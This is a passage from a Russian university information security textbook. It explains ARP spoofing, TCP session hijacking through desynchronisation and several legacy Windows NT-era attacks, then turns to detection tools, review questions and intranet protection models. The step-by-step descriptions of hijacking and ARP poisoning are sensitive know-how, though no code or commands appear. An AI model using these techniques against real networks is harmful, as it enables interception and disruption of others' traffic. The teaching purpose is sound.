лать также и остальные хосты сети). Данная атака применима, даже если уже установлено соединение между двумя хостами. После посылки даже одного ложного ARP-запроса соединение будет разорвано по тайм-ауту. Чтобы два хоста не смогли обмениваться пакетами друг с другом, необходимо направить ложные ARP-запросы на один из хостов. Если же ставить целью полностью отключить хост от сети, то необходимо периодически посылать ложные ARP-запросы ото всех хостов в сети. Тогда на атакуемом хосте сложится впечатление, что поврежден кабель или вышла из строя сетевая карта. Однако это впечатление легко рассеять - достаточно запустить сниффер и убедиться, что интерфейс работает, а пакеты отправляются и получаются. Еще интереснее ситуация, если в поле Sender МАС указать значение FF:FF:FF:FF:FF:FF. Тогда все машины в сети при обращении к посланному IP будут посылать пакеты всем. Таким образом сеть будет наводняться огромным количеством ненужным пакетов, и ее эффективность заметно упадет. Возможно даже нарушение нормальной работы на хосте из-за того, что большинство ресурсов машины будет тратиться на обработку "дезориентированных" пакетов.
Еще одна особенность — система должна отбрасывать ARP-ответы, если не был послан ARP-запрос. Однако не все системы ведут себя подобным образом. Windows 9х и Windows 2000 SP2, например, никак не отслеживают это. Более того, даже если прописать запись в ARP-таблице как статическую, она все равно будет меняться под воздействием ARP-пакетов. От динамической ее будет отличать только то, что она не исчезнет из ARP-хеша до перезагрузки системы. Более корректно ведут себя Solaris и Windows ХР. Они не реагируют на ARP-ответы, посланные без запроса, и статические записи у них не меняются. Таким образом, если ARP-хеш прописать статически, то изменить какую-либо запись, посылая ARP-пакет, не удастся. Первое, что можно сделать, - это попытаться переполнить буфер ARP-хеша в надежде, что "старые" записи затрутся новыми. Используя команду агр —а, можно увидеть, что у "старых" записей изменились МАС-адреса. Однако скорее всего это связано с некорректной работой команды агр, поскольку по истечении тайм-аута все записи, появившиеся в результате "шторма" ARP-пакетами, удалились, а "старые" (статические) записи вновь стали корректными. Получается, что злоумышленнику выгоднее посылать ARP-запросы для получения соответствующей записи в ARP-хеше, поскольку:
	во-первых, они широковещательные, т. е. их получают все машины сегмента сети и, следовательно, запись обновляется у всех (появляется на той машине, куда адресован ARP-пакет);
	во-вторых, воспринимаются всеми ОС, в отличие от ARP-ответов.
ARP-ответ не влияет на ARP-записи других машин, так как отправляется на "присланный" МАС-адрес.
В дополнение к рассмотренной атаке с ложным ARP-сервером злоумышленники придумали и атаки на сервер, предназначенный для обратной операции, - RARP-сервер. Ее особенности можно определить, аналогичным образом проанализировав соответствующий протокол RARP.
IP hijacking
При этой атаке злоумышленник перехватывает весь сетевой поток, модифицируя его и фильтруя произвольным образом. Метод является комбинацией "подслушивания" (sniffing) и IP-spoofing [84]. Необходимые условия атаки: злоумышленник должен иметь доступ к ПК, находящемуся на пути сетевого потока, и обладать достаточ-
380	Информационная безопасность открытых систем
ними правами на нем для генерации и перехвата IP-пакетов. Существует возможность ввести соединение в "десинхронизированное состояние", когда присылаемые сервером Sequence Number и АСК не будут совпадать с ожидаемым значением клиента и наоборот. В данном случае злоумышленник, "прослушивая" линию, может взять на себя функции посредника, генерируя корректные пакеты для клиента и сервера и перехватывая их ответы. Поэтому иначе атака называется похищением соединений. Она позволяет полностью обойти такие системы защиты, как, например, одноразовые пароли, поскольку злоумышленник начинает работу уже после того, как произойдет авторизация пользователя.
Есть два способа рассинхронизировать соединение.
1. Ранняя десинхронизация. Соединение десинхронизируется на стадии его установки (рис. 47). Злоумышленник прослушивает сегмент сети, по которому будут проходить пакеты интересующей его сессии. Дождавшись пакета S-SYN от сервера, он высылает серверу пакет типа RST (сброс), конечно с корректным Sequence Number, и немедленно вслед за ним фальшивый C-SYN-пакет от имени клиента. Сервер сбрасывает первую сессию и открывает новую, на том же порту, но уже с новым Sequence Number, после чего посылает клиенту новый S-SYN-пакет. Клиент игнорирует S-SYN-пакет, однако злоумышленник, прослушивающий линию, высылает серверу S-ACK-пакет от имени клиента. Итак, клиент и сервер находятся в состоянии ESTABLISHED, однако сессия десинхронизирована.
Клиент	Злоумышленник	Сервер
ESTABLISHED
Рис. 47. Схема ранней десинхронизации
Естественно, 100 %-ного срабатывания у этой схемы нет. Например, она не застрахована от того, что по дороге не потеряются какие-то пакеты, посланные злоумышленником. Для корректной обработки этих ситуаций программа должна быть усложнена.
2. Десинхронизация нулевыми данными. В данном случае злоумышленник прослушивает сессию и в какой-то момент посылает серверу пакет с "нулевыми" данными, т. е. такими, которые фактически будут проигнорированы на уровне ПП и не видны клиенту (например, для Telnet это могут быть данные типа IAC NOP IAC NOP IAC NOP...). Аналогичный пакет посылается клиенту. Очевидно, что после этого сессия переходит в десинхронизированное состояние.
4. Атаки на открытые системы
381
Одна из проблем IP hijacking заключается в том, что любой пакет, высланный в момент, когда сессия находится в десинхронизированном состоянии, вызывает так называемую АСК-бурю. Например, пакет выслан сервером, и для клиента он является неприемлемым, поэтому тот отвечает АСК-пакетом. Реакцией на этот неприемлемый уже для сервера пакет становится получение клиентом очередного ответа... И так до бесконечности. Поскольку АСК-пакеты не несут данных, повторных передач не происходит и "буря" стихает.
Есть несколько способов детектирования данной атаки. Например, можно реализовать TCP/IP-стек, который будет контролировать переход в десинхронизированное состояние, обмениваясь информацией о Sequence Number/ACK. Однако в данном случае нет страховки от злоумышленника, меняющего и эти значения. Поэтому более надежным способом является анализ загруженности сети, отслеживание возникающих АСК-бурь. Это можно реализовать при помощи специальных средств контроля за сетью.
Если злоумышленник не поддерживает десинхронизированное соединение до его закрытия или не фильтрует вывод своих команд, это также будет сразу замечено пользователем. К сожалению, подавляющее большинство просто откроет новую сессию, не обращаясь к администратору.
Стопроцентную защиту от данной атаки обеспечивает шифрование TCP/IP-трафика (на уровне приложений - Secure Shell - или на уровне протокола - IPsec). Это исключает возможность модификации сетевого потока. Для защиты почтовых сообщений может применяться PGP.
Следует заметить, что метод также не срабатывает при некоторых конкретных реализациях TCP/IP. Несмотря на требование "молчаливого" закрытия сессии в ответ на RST-пакет, некоторые системы генерируют встречный RST-пакет. Это делает невозможным раннюю десинхронизацию.
У описанной выше атаки по перехвату данных есть разновидность — перехват сеанса (TCP session hijacking). По окончании начальной процедуры аутентификации установленное соединение, например с почтовым сервером, переключается на новый хост-компьютер, а исходному серверу выдается команда разорвать соединение. Аналогичный прием возможен и для сеанса программы эмуляции терминала Telnet. В результате "собеседник" оказывается незаметно подмененным.
4.3.5. Примеры некоторых атак
Тем, кто все время хочет знать о последних атаках на сети, основанных на старых и только что выявленных уязвимостях, рекомендуется регулярно посещать онлайновый журнал Bugtraq (в английской или русскоязычной версии).
Приведем краткие описания еще некоторых атак злоумышленников.
Сканирование Half scan. Незаметно выявляются каналы информационного воздействия на систему. Посылаются пакеты установления соединения, и при получении ответов от системы сбрасывается соединение (пакет с флагом RST). Стандартные средства не фиксируют попытку установления соединения, а злоумышленник определяет присутствие служб на определенных портах.
UDP bomb. При реализации атаки передаваемый пакет UDP содержит неправильный формат служебных полей. При его получении некоторые старые версии сетевого ПО приводят к аварийному завершению системы.
382
Информационная безопасность открытых систем
Переполнение при идентификации (Identd), DoS-атака. Симптомы - потеря пропускной способности (медленные ответы от хостов в Интернете) и медленная работа самой системы. Атака аналогична ICMP-переполнению, но запрашивает информацию о системе (порт TCP 113). Очень сильно замедляет работу системы (даже сильнее, чем ICMP-переполнение), так как ответы на запросы идентификации требуют больше времени.
Pong. Симптомы, выявляющие атаку, - потеря пропускной способности (медленные ответы от хостов в Интернете) и медленная работа самой системы. Атака заключается в переполнении системы фальшивыми ICMP-пакетами, где в каждом пакете обычно указывается свой фальшивый адрес отправителя. Проблема решается перезагрузкой.
Puke. Симптомы атаки — отключение от сервера (обычно для IRC). Во время атаки фальсифицирует ICMP-пакет "хост недоступен". Это приводит к отключению от сервера. Обычно перед такой атакой производится сканирование для выявления порта, используемого для соединения с удаленным сервером.
Атака Get Admin. Предоставляет обычным пользователям права администратора системы путем включения идентификаторов пользователей в группу Administrators (для Windows NT) [32]. GetAdmin использует уязвимость одной из низкоуровневых функций, которая не проверяет свои параметры, что позволяет передать при ее вызове значения, отключающие контроль привилегий отладчика. Это дает возможность подключаться к любому процессу, запрещенному в системе, и, в свою очередь, запускать подпроцесс в контексте безопасности данного процесса. Утилита GetAdmin подключается к процессу WinLogon, который работает в контексте безопасности системы, и, используя стандартные функции, добавляет необходимого пользователя в группу Administrators. В результате осуществляется несанкционированное наделение легального пользователя правами администратора системы, что приводит к возможности НСД под именем администратора. (Данная атака не действует начиная с Windows NT 4.0 с Service Pack 4.)
Атака SECHOLE. Аналогична GetAdmin, но для получения привилегий отладки используется интерфейсная функция OpenProcess.
Атака на службы Simple TCP/IP. Злоумышленник посылает поток дейтаграмм UDP по широковещательному адресу подсети, в которой находится компьютер Windows NT с установленными службами Simple TCP/IP. Исходный адрес таких пакетов подделан, в качестве порта назначения указан порт 19 (версия chargen). Компьютер отвечает на каждый запрос, вызывая лавину дейтаграмм. Это приводит к существенному увеличению трафика подсети и лишает легальные службы возможности обмениваться информацией.
Атака сетевого доступа. В подсистеме сетевой аутентификации Windows NT Service Pack 4 допущена ошибка, заключающаяся в неправильной обработке регистрационной информации пользователей. В случае, когда пользователь работает под управлением Windows for Workgroups, OS/2 или Macintosh и изменяет свой доменный пароль, контроллер домена Windows NT сохраняет в базе SAM только часть образа пароля пользователя, применяемую для совместимости с указанными системами. Тогда регистрационная информация пользователя устанавливается в базе SAM в нулевое значение. Полученная таким образом регистрационная информация может быть употреблена для подключения к домену Windows NT под именем данного пользователя без пароля. Подключение может быть осуществлено клиентами Windows
4. Атаки на открытые системы
383
95/98/NT. Атака применяется для НСД к ресурсам системы под именем существующего пользователя и требует знания пароля, поэтому может быть осуществлена только легальным пользователем.
Атаки с примененим маршрутизации отправителя бывают следующими:
	В реализации стека протоколов TCP/IP Windows NT отсутствует возможность отключать режим маршрутизации IP-пакетов, при котором решение о маршруте доставки ответного пакета принимается на основании информации, заданной полученным пакетом. Уязвимость может быть применена для атак на доступность и в некоторых случаях на целостность информации.
	В пакете Service Pack 5 в реализации TCP/IP Windows NT добавлена возможность отключать режим маршрутизации IP-пакетов, однако имеется возможность обходить это ограничение путем посылки специально подготовленных пакетов, содержащих некоторое определенное или некорректное значение указателя на маршрут доставки. Уязвимость может быть использована как в предыдущем случае.
Важно отключить принятие пакетов маршрутизации отправителя для предотвращения незаметных проб внутренней сети.
Атака с использованием хранителя экрана (screensaver). Заключается в том, что запуск screensaver во время пользовательской сессии осуществляется с привилегиями системного уровня. После старта "хранителя экрана" происходит немедленное переключение контекста безопасности на уровень, соответствующий данному пользователю. При этом отсутствует проверка успешности результата такого переключения. В случае, если переключение контекста безопасности окончилось неуспешно, "хранитель экрана" продолжает работать с привилегиями системного уровня.
Атака Mail relaying. Средства организации почтового обмена с применением протокола SMTP должны предоставлять защиту от несанкционированного использования почтовых серверов при посылке писем с подделкой исходной адресной части (mail relaying). Exchange Server может это реализовывать, однако в случае инкапсулированных адресов SMTP при обмене почтовыми сообщениями соответствующих проверок не производится. Тогда злоумышленник посылает сообщения от имени почтового сервера под управлением Exchange Server посредством инкапсуляции адресов SMTP с подделкой исходной адресной части.
Атака с использованием протокола IGMP. При получении специально подготовленных фрагментированных пакетов по протоколу Internet Group Management Protocol (IGMP) существенно снижается производительность, может произойти "зависание" компьютера.
Этот список атак можно продолжать и продолжать, пока будут существовать незащищенные должным образом сети.
В заключение данной главы перечислим лишь несколько простейших средств, которые помогут обнаруживать описанные выше атаки.
L5 - сканирует директории Unix и DOS, записывая информацию о файлах и выявляя изменения в файлах и их размерах, а также давая информацию о файлах в закрытых областях.
Clog - выявляет атаки злоумышленников извне, когда они пытаются найти "дыры" в системе, удаленно сканируя их.
LogCheck - анализирует лог-файлы для выявления атак, связанных с подбором пароля.
Netlog - "прослушивает" ТСР/1Р-соединения (это сниффер).
DumpACL - представляет собой утилиту для Windows NT, преобразующую информацию об управлении доступом в "читаемый" вид.
384
Информационная безопасность открытых систем
Вопросы для самоконтроля к гл. 4
1.	Каковы характерные признаки УА на интранет и что понимают под "типовыми удаленными атаками"?
2.	По каким основным критериям можно классифицировать УА?
3.	Рассмотрите типовую атаку "анализ сетевого трафика".
4.	Каким образом может осуществляться перехват паролей в интранете? Какие объективные причины этому способствуют?
5.	Что такое программа-sniffer? Как она работает и при каких условиях?
6.	Где в интранете злоумышленник может перехватить незащищенный трафик?
7.	Расскажите о типовой атаке "подмена доверенного объекта или субъекта".
8.	Опишите причины и способы реализации типовой атаки "ложный объект".
9.	Рассмотрите типовую атаку "отказ в обслуживании" и приведите примеры таких атак.
10.	В чем суть распределенных атак "отказ в обслуживании"? Какие рекомендации по защите от них вы можете дать для Unix- и Windows-платформ?
11.	Как реализуется типовая атака получения удаленного контроля над станцией в сети?
12.	В чем проявляются атаки, возникающие из-за недостатков ОС и стека протоколов TCP/IP?
13.	Для чего предназначены "программные закладки", внедряемые злоумышленниками в ПО?
14.	Как осуществляется перехват информации 1) при ее перемещении в интранете по каналам связи и 2) непосредственно при вводе с клавиатуры?
15.	Какие средства используются злоумышленниками для исследования системы, выбранной ими в качестве жертвы для атаки?
16.	Рассмотрите способы проникновения нарушителей в интранет.
17.	Подробно расскажите о типичных сценариях развития атак, предпринимаемых на интранет.
18.	Каковы этапы реализации атак?
19.	Какие средства используются при этом злоумышленниками?
20.	Что знает и может злоумышленник на каждом этапе реализации удаленной атаки?
21.	На какие уровни можно подразделить атаки в зависимости от серьезности последствий от их реализации?
22.	Какие методы и средства, применяемые злоумышленниками при вторжении в интранет, вам известны?
23.	Рассмотрите некоторые способы развертывания атак на интранет, например сканирование карты сети, сканирование портов.
24.	Какие виды нападений с использованием сетевых протоколов наиболее часто применяются злоумышленниками в отношении интранет? Расскажите о них более подробно.
25.	Что такое спуффинг?
26.	Какие проблемы с информационной безопасностью возникают при использовании графических интерфейсов?
27.	Как осуществляется перехват сеансов злоумышленниками и по каким причинам?
28.	Какие проблемы с электронной почтой могут возникнуть при вмешательстве в почтовый сервис злоумышленником?
29.	Какие методы и средства обнаружения прослушивающих приложений в Windows вам известны?
30.	Какие еще методы вторжений в интранет могут предприниматься злоумышленниками и для каких систем они характерны?
5. ОБЕСПЕЧЕНИЕ ИНФОРМАЦИОННОМ БЕЗОПАСНОСТИ В ОТКРЫТЫХ СИСТЕМАХ
В главе приводится четырехуровневая модель информационной системы, на примере которой показывается, какие вопросы обеспечения ИБ решаются и на каком уровне.
Показывается специфика защиты ресурсов открытых систем на примере интранета.
Большое внимание уделено политике информационной безопасности для интранета -вводится определение, обосновывается необходимость ее выработки, приводятся основные требования к ней, кратко описывается ее жизненный цикл и содержание. Рассматриваются этапы создания интегрированной системы обеспечения ИБ открытых систем и управления
ею. Приводятся принципы создания защищенных средств связи объектов в открытых системах и виды их сетевых топологий. Анализируются архитектуры безопасности открытых систем и предоставляемые в них сервисы безопасности. Кратко освещаются организационно-правовые методы защиты открытых систем. В заключение даются некоторые рекомендации по обеспечению ИБ в открытых системах
5.1. Четырехуровневая модель открытой системы
Любая ИС, в том числе открытая ИС и интранет как ее пример, имеет структуру, которая достаточно точно описывается четырехуровневой моделью [57].
1.	Внешний уровень, определяющий взаимодействие ИС организации с глобальными ресурсами и системами других организаций (экстранет). Функционально этот уровень характеризуется, с одной стороны, сетевыми сервисами, предоставляемыми данной организацией, с другой стороны, аналогичными сервисами, запрашиваемыми из глобальной сети. На этом уровне должны ограничиваться как попытки внешних пользователей несанкционированно получить от организации дополнительный сервис, так и попытки собственных пользователей осуществить подобные операции по отношению к внешним сервисам или несанкционированно переслать информацию в глобальную сеть.
2.	Сетевой уровень связан с доступом к информационным ресурсам внутри интранета организации. Безопасность информации на этом уровне обеспечивается средствами проверки подлинности пользователей и разграничением доступа к ресурсам интранета (аутентификация и авторизация).
Защита информации и выявление атак злоумышленников на сетевом уровне имеет определенную специфику. Если на системном уровне проникнуть в систему можно лишь в результате раскрытия пароля пользователя, то в случае распределенной конфигурации сети становится возможен перехват пользовательских имени и пароля техническими средствами, к которым, например, относятся снифферы (напомним, что, к примеру, стандартный сетевой сервис Telnet пересылает пользовательское имя и пароль в открытом виде). Кроме аутентификации пользователей, в интранете должна производиться также аутентификация компьютеров клиентов. Высокая степень зашиты достигается заменой стандартных открытых сервисов на сервисы, шифрующие параметры пользователя/компьютера-клиента, чтобы даже перехват пакетов не позволял раскрыть эти данные. Наконец, немаловажное значение имеет аудит событий, происходящих в распределенной информационной среде, поскольку в этих условиях злоумышленник не столь заметен и имеет достаточно времени и ресурсов для выполнения своих задач, если в системе отсутствуют автоматическое оповещение и реакция на возможные нарушения.
13—2368
386
Информационная безопасность открытых систем
В условиях интранета применяется, как правило, набор разнородного оборудования, функционирующего под управлением различных ОС, что затрудняет применение единых средств аудита. Защита на сетевом уровне охватывает определенный набор сервисов, например сетевая информационная (NIS) и файловая (NFS) системы. Дополняет указанные меры аутентификация системой Kerberos, что защищает такие "открытые" сервисы, как Telnet и rlogin/rsh.
3.	Системный уровень связан прежде всего с управлением доступа к ресурсам ОС. Именно на этом уровне происходит непосредственное взаимодействие с пользователями и, самое главное, определяются "правила игры” между информационной системой и пользователем — задается либо изменяется конфигурация системы. В этой связи естественно понимать защиту информации на данном уровне как четкое разделение, к каким ресурсам ОС какой пользователь и когда может быть допущен. Защите системных ресурсов и информации, определяющей конфигурацию системы, должно уделяться особое внимание, поскольку НСД к ним может сделать бессмысленными прочие меры безопасности, в том числе и защиту пользовательских данных.
4.	Уровень приложений связан с использованием прикладных ресурсов ИС. Типичными приложениями для интранета являются: электронная почта; электронные публикации; распределение ПО; информационный поиск; конференции (текстовые, аудио и видео); передача файлов; распределенные вычисления (ActiveX, Java); телефония (Интернет-телефония); электронная коммерция. Поскольку именно приложения на содержательном уровне работают с пользовательскими данными, для них нужны собственные механизмы обеспечения ИБ. Особого внимания требуют приложения, обслуживающие удаленных пользователей. Для каждого приложения определяются требования к безопасности и соответствующие необходимые средства обеспечения безопасности (протоколы и необходимая инфраструктура), которые смогут удовлетворять этим требованиям.
Протоколы прикладного уровня ориентированы на конкретные прикладные задачи, решаемые в интранете. Они определяют как процедуры по организации взаимодействия определенного типа между прикладными процессами, так и форму представления информации при таком взаимодействии. Общее их количество велико и продолжает постоянно увеличиваться.
Некоторые приложения, используемые в интранете, существуют с самого начала развития Интернета. Например, Telnet и FTP, графический интерфейс X Window, протокол управления сетями SNMP. В функции контроля доступа на прикладном уровне будет входить анализ правомочности работы с конкретными прикладными программами. Это может быть осуществлено специальными средствами либо одним из типов МЭ - шлюзами уровня приложений.
Для примера рассмотрим протокол Telnet. Он позволяет обслуживающей машине рассматривать все удаленные терминалы как стандартные "сетевые виртуальные терминалы" строчного типа, работающие в коде ASCII, а также обеспечивает возможность согласования более сложных функций (например, локальный или удаленный эхо-контроль, страничный режим, высота и ширина экрана и т. д.). Telnet работает на базе протокола TCP. На прикладном уровне над Telnet находится либо программа поддержки реального терминала (на стороне пользователя), либо прикладной процесс в обсуживающей машине, к которому осуществляется доступ с терминала.
5. Обеспечение информационной безопасности е открытых системах	387
Авторизация, делегирование полномочий с ограничениями также решаются на прикладном уровне. Например, чтобы передать серверу печати право на доступ только к определенным файлам и только на чтение или защитить строки своих таблиц в ЕД от удаления сервером приложений, оставив за ним возможность добавления информации, нужно перестроить систему авторизации на основе архитектуры клиент-сервер. В нынешней ситуации, когда каждое приложение (ОС, СУБД, почтовая служба, веб-браузеры клиентов интранета и т. п.) использует специфические методы контроля доступа, универсальное, стандартное решение в духе открытых систем получить невозможно. Например, браузеры - основные, но не единственные пункты защиты клиента в интранете. Они могут оказаться не более защищенными, чем операционные системы и рабочие станции, на которых запускаются эти браузеры. Если исходить из традиционных критериев, предъявляемых к информационным системам, то современные веб-браузеры - очень уязвимые клиентские приложения. Браузеры, предлагаемые для массового рынка, не имеют функций защиты, необходимых для поддержки критически важных приложений интранета. Среди самых уязвимых мест современных коммерческих браузеров - отсутствие защиты паролем, неограниченный доступ к локальным ресурсам компьютера и возможность раскрытия критически важных данных при помощи кнопок "вперед-назад", закладок и выделенных цветом ссылок.
Требования к безопасности должны быть определены и согласованы до разработки ИС. Средства защиты оказываются более дешевыми и эффективными, если их предусмотреть на стадиях задания требований и проектирования. Все требования к безопасности, включая необходимость перехода на аварийный режим для продолжения обработки информации, следует определить на стадии задания требований к проекту, обосновать, согласовать и документировать в рамках общего плана работ по созданию ИС.
5.2.	Специфика защиты ресурсов открытых систем на примере интранета
Передача информации по открытым каналам связи при общении корпорации со своими бизнес-партнерами, филиалами или удаленными пользователями является огромным достижением новых сетевых технологий, но и вызывает вполне обоснованное беспокойство тех, кто отвечает за конфиденциальный характер передаваемых таким образом данных. Секретные сведения могут попасть в руки конкурентов, шпионов и тех, кто по определенным соображениям сможет их подменить.
Безопасность информационного взаимодействия локальных сетей и отдельных компьютеров через открытые сети, например через глобальную сеть Интернет, требует качественного решения двух базовых задач (рис. 48):
	защиты информации в процессе передачи по открытым каналам связи;
	защиты подключенных к публичным каналам связи локальных сетей и отдельных компьютеров от несанкционированных действий со стороны внешней среды.
Решение второй задачи основано на использовании МЭ, поддерживающих безопасность информационного взаимодействия путем фильтрации двустороннего потока сообщений, а также выполнения функций посредничества при обмене информацией. Для защиты интранета организации от потенциально опасной внешней среды на сты-
388
Информационная безопасность открытых систем
ке между внутренней и внешней сетями располагают МЭ. Для защиты отдельного удаленного компьютера, подключенного к открытой сети, программное обеспечение МЭ устанавливается на этом же компьютере, а сам МЭ в этом случае называют персональным или настольным.
Защита от	X
несанкционированных действий со стороны внешней среды /
Открытая внешняя среда скоростной передачи информации (Internet, системы оптоволоконной, спутниковой связи)
/ Защита от несанкционированных действий со стороны
\ внешней среды
Локальная сеть
Компьютеры удаленных
пользователей
Локальная сеть
Компьютеры удаленных
пользователей
Открытые каналы связи с внешней средой скоростной передачи информации (каналы телефонной сети, мобильной связи)
Рис. 48. Схема информационного взаимодействия
Защита информации в процессе передачи по открытым каналам связи основана на выполнении следующих функций:
	аутентификации (установлении подлинности) взаимодействующих сторон;
	шифровании передаваемых данных;
	подтверждении подлинности и целостности доставленной информации;
	защите от повтора, задержки и удаления сообщений;
	защите от отрицания фактов отправления и приема сообщений.
Перечисленные функции во многом связаны друг с другом, и их реализация основана на криптографической защите передаваемых данных. Высокая эффективность такой защиты обеспечивается за счет совместного использования симметричных и асимметричных криптографических систем. Все эти функции возможно реализовать одновременно, применив подход, основанный на построении виртуальной частной сети.
Важнейшей отличительной особенностью задачи защиты информации интранета при ее перемещении между частями сети по каналам, не принадлежащим организации, является тот факт, что защита информации возлагается полностью на программно-аппаратные средства, и не может быть решена путем физического ограничения доступа пользователей к компьютерам или к оборудованию, как это может быть сделано для ограничения доступа к информации внутри отдельной организации. В глобальной сети потенциальную возможность доступа к ресурсам имеет любой пользователь сети, находящийся в любой точке земного шара, и момент доступа к той или иной информации не может быть предсказан заранее.
Другой особенностью проблемы является огромная скорость развития в Интернете ПО и технологий. Новые технологии преодоления СЗИ появляются каждые полгода, и арсенал применяемых атакующими средств может меняться каждые 2—3 месяца.
5. Обеспечение информационной безопасности в открытых системах
389
В открытой системе, и в интранете в том числе, существует четыре уровня обеспечения ИБ:
	защита отдельных программно-аппаратных устройств (компьютеров, сетевого оборудования), образующих основу открытой системы;
	защита взаимодействия этих устройств, когда они образуют отдельные сегменты и подсети большой открытой системы;
	зашита взаимодействия сегментов и подсетей;
	зашита межсетевого взаимодействия одной открытой системы с другой открытой системой, например интранета с Интернетом.
С точки зрения безопасности существенными представляются следующие моменты:
	интранет имеет несколько территориально разнесенных частей (поскольку организация располагается на нескольких производственных площадках), связи между которыми находятся в ведении либо самой организации, либо внешнего поставщика сетевых сервисов, выходя за пределы контролируемой зоны;
	необходима защита корпоративных потоков данных, передаваемых по открытым сетям;
	необходима аутентификация в открытых сетях;
	интранет имеет одно или несколько подключений к внешним сетям, например к Интернету;
	на каждой из производственных площадок (офис, филиал и т. д.) могут находиться критически важные серверы, в доступе к которым нуждаются работники, базирующиеся на других площадках, мобильные работники и, возможно, сотрудники сторонних организаций и другие внешние пользователи;
	разграничение доступа между сегментами интранета;
	защита потоков данных между клиентами и серверами;
	для доступа пользователей могут применяться не только компьютеры, но и другие устройства, использующие, в частности, беспроводную связь;
	в течение сеанса работы пользователю приходится обращаться к нескольким информационным сервисам, опирающимся на разные аппаратно-программные платформы;
	к доступности информационных сервисов предъявляются жесткие требования, обычно выражающиеся в необходимости круглосуточного функционирования с максимальным временем простоя порядка минут или десятков минут;
	ИС представляет собой сеть с активными агентами, т. е. в процессе работы программные компоненты, такие, как апплеты или сервлеты, передаются с одной машины на другую и выполняются в целевой среде, поддерживая связь с удаленными компонентами;
	обеспечение безопасности в РВС;
	защита важнейших сервисов (в первую очередь веб-сервиса);
	не все пользовательские системы контролируются администраторами организации;
	ПО, особенно полученное по сети, не может считаться безопасным: в нем могут присутствовать зловредные элементы или ошибки, создающие слабости в защите;
	конфигурация ИС постоянно изменяется на уровнях административных данных, программ и аппаратуры (меняется состав пользователей, их привилегии, версии программ, появляются новые сервисы, новая аппаратура и т. п.);
	необходимо протоколирование и аудит в рамках сетевых конфигураций.
390
Информационная безопасность открытых систем
Это позволяет определить защищаемый интранет как распределенную, гетерогенную, многосервисную, эволюционирующую систему.
Специфика защиты ресурсов интранета обусловливается, в частности, тем, что они чаше всего находятся в различных зонах безопасности (security zones) - группах таких логически объединных ресурсов, как системы, подсети или процессы, которые подтверждены схожей степени риска. Цель такого подхода - создать такое сетевое окружение, в котором взлом одного компонента сетевой инфтрастуктуры не приведет к нарушению безопасности других компонентов той же инфраструктуры. Например, вполне логичным будет разместить в пределах одной зоны безопасности, доступной из Интернета, веб-сервер, DNS-сервер и почтовый сервер, если каждый из них не служит для хранения критически важных данных. Однако если почтовый сервер все же используется для хранения таких данных (например, о партнерах и клиентах), более ценных для взломщика, чем те, что хранятся на DNS-сервере и вебсервере, то нужна отдельная подсеть с почтовым сервером.
В защищаемом интранете могут существовать зоны безопасности с разной степенью защищенности:
	свободно доступные (различные серверы);
	с ограниченным доступом;
	закрытые для доступа.
Разделение интранета на зоны безопасности осуществляется установкой таких защитных средств, как МЭ (см. рис. 17 из гл. 2). Также интранеты могут быть изолированы от внешних пользователей Интернета с помощью МЭ или могут просто функционировать как автономные сети, не имеющие доступа извне (второй случай не представляет интереса для данного учебника).
Зоны безопасности относятся не только к понятию сети. Их можно выделять также и в пределах серверов, предназначенных для решения узкого круга строго определенных задач.
Обычно компании создают интранеты для своих сотрудников, однако полномочия на доступ к ним иногда предоставляются деловым партнерам и другим группам пользователей. Поскольку стек протоколов TCP/IP дает кому угодно в Интернете потенциальный доступ к серверам интранета, то МЭ становится важнейшей ее частью. МЭ служит для защиты серверов, он анализирует адрес назначения и содержимое входных сетевых пакетов. Средства защиты могут быть частью готового аппаратного решения, функцией автономного маршрутизатора или программой, выполняемой на специальном сервере.
Идеальный интранет разделен, по крайней мере, на три части. Соединение Интернета с МЭ должно быть выполнено через выделенный сетевой адаптер, что обеспечит МЭ полный контроль над маршрутизацией входящих пакетов. На компьютере с установленным МЭ допускается размещение второго адаптера, с помощью которого пользователи подключаются к другим корпоративным сетям (образуя экстранет). Третий сетевой адаптер служит для связи МЭ с защищаемой частью интранета. МЭ можно настроить на запрет доступа к многочисленным типам данных, например запретить передачу файлов FTP. Данная функция обеспечивает более совершенную защиту и позволяет устранить потенциальные уязвимости в МЭ, которыми могут воспользоваться злоумышленники.
S. Обеспечение информационной безопасности в открытых системах
391
В интранет-системах ключевым является веб-сервис, поэтому вопрос защищенности веб-серверов принципиально важен. Эти серверы должны поддерживать традиционные защитные средства, такие, как аутентификация, разграничение доступа и подотчетность; кроме того, необходимо обеспечение новых свойств, в особенности безопасности программной среды и на серверной, и на клиентской стороне.
Наибольшую опасность для интранета представляют "неофициальные" (и соответственно незащищенные) веб-серверы, но даже санкционированные и правильно установленные серверы и другое оборудование и ПО интранета потенциально уязвимы. Системные администраторы могут случайно оставить "лазейки" при настройке таблиц маршрутизации МЭ, при создании приложений на HTML или при установке на сервере защиты уровня межпрограммного взаимодействия.
Существенно, что защита интранета организации складывается из внешней защиты (защиты сетевого периметра), защиты транзакций и целостности данных и систем, что должно быть дополнено системой административного контроля, оповещения и реакции на несанкционированные вторжения в интранет. Следует учитывать также, что основная угроза ИБ организаций по-прежнему исходит не от внешних хакеров, а от собственных сотрудников, по той или иной причине не являющихся лояльными.
Один из привлекательных технических подходов к обеспечению безопасности интранета - создание централизованной схемы управления на базе защитного сервера. Хороший защитный сервер организации должен обеспечивать прозрачное представление информации обо всех доступных пользователю ресурсах. Какую бы ОС клиент ни использовал, графическая информация о доступных ему приложениях, системах и ресурсах должна предоставляться с учетом соображений безопасности. Информация на защитном сервере периодически обновляется, при этом с точки зрения пользователя ничего не меняется.
Анализ специфических угроз ИБ открытых систем позволяет выделить основные направления их защиты.
Защита аппаратуры и носителей информации от похищения, повреждения и уничтожения. Это достигается за счет традиционного комплекса организационнотехнических мер: физическая охрана и ограничение доступа к аппаратуре и носителям данных, ограждение зданий и территорий, оборудование помещений замками, охранной сигнализацией, а также различными устройствами, препятствующими похищению компьютерной аппаратуры, ее компонентов и узлов.
Защита информационных ресурсов от несанкционированного использования. Основой такой защиты являются средства контроля включения питания и загрузки ПО, а также методы парольной защиты при входе в систему.
Защита информационных ресурсов от НСД, направленная на обеспечение конфиденциальности, целостности и доступности информации и сервисов системы.
Защита от утечки по побочным каналам электромагнитных излучений и наводок. Для этих целей применяется экранирование аппаратуры и помещений, установка специальной защищенной аппаратуры, маскирующих генераторов шумов и помех, а также проверка аппаратуры на наличие компрометирующих излучений.
